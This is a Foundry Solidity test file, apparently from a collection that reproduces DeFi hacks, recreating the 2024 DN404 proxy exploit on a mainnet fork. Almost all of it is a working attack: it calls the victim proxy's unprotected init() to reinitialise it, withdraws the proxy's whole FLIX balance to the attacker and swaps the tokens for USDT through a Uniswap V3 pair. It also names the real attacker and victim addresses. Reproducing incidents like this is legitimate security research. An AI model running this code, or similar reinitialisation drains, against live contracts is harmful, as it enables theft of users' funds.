src/test/2024-02/DN404_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 200K
8// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
9// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
10// Vulnerable Contract : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4
11// Attack Tx : https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20 
21interface IProxy {
22    function init(IERC20 initToken, uint256 initPeriods, uint256 initInterval) external;
23 
24    function withdraw(IERC20 otherToken, uint256 amount, address receiver) external;
25}
26 
27contract DN404 is Test {
28    uint256 constant blockNumber = 19_196_685;
29    address constant victim = 0x2c7112245Fc4af701EBf90399264a7e89205Dad4;
30    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31    address constant FLIX = 0x83Cb9449b7077947a13Bf32025A8eAA3Fb1D8A5e;
32    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
33    address constant UniV3Pair = 0xa7434b755852F2555D6F96B9E28bAfE92F08Df97;
34 
35    function setUp() public {
36        vm.label(victim, "Proxy");
37        vm.label(WETH, "WETH");
38        vm.label(FLIX, "FLIX");
39        vm.label(USDT, "USDT");
40        vm.label(UniV3Pair, "Uniswap V3 Pair");
41        vm.createSelectFork("mainnet", blockNumber);
42    }
43 
44    function testExploit() public {
45        // Implement exploit code here
46        emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6);
47 
48        uint256 initPeriods = 1;
49        uint256 initInterval = 1_000_000_000_000_000_000;
50        uint256 amount = IERC20(FLIX).balanceOf(address(victim));
51 
52        IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);
53        IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));
54        Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, "");
55        // Log balances after exploit
56        emit log_named_decimal_uint(" Attacker USDT Balance After exploit", IERC20(USDT).balanceOf(address(this)), 6);
57    }
58 
59    function uniswapV3SwapCallback(int256 amount0Delta, int256, bytes memory) external {
60        IERC20(FLIX).transfer(msg.sender, uint256(amount0Delta));
61    }
62 
63    receive() external payable {}
64}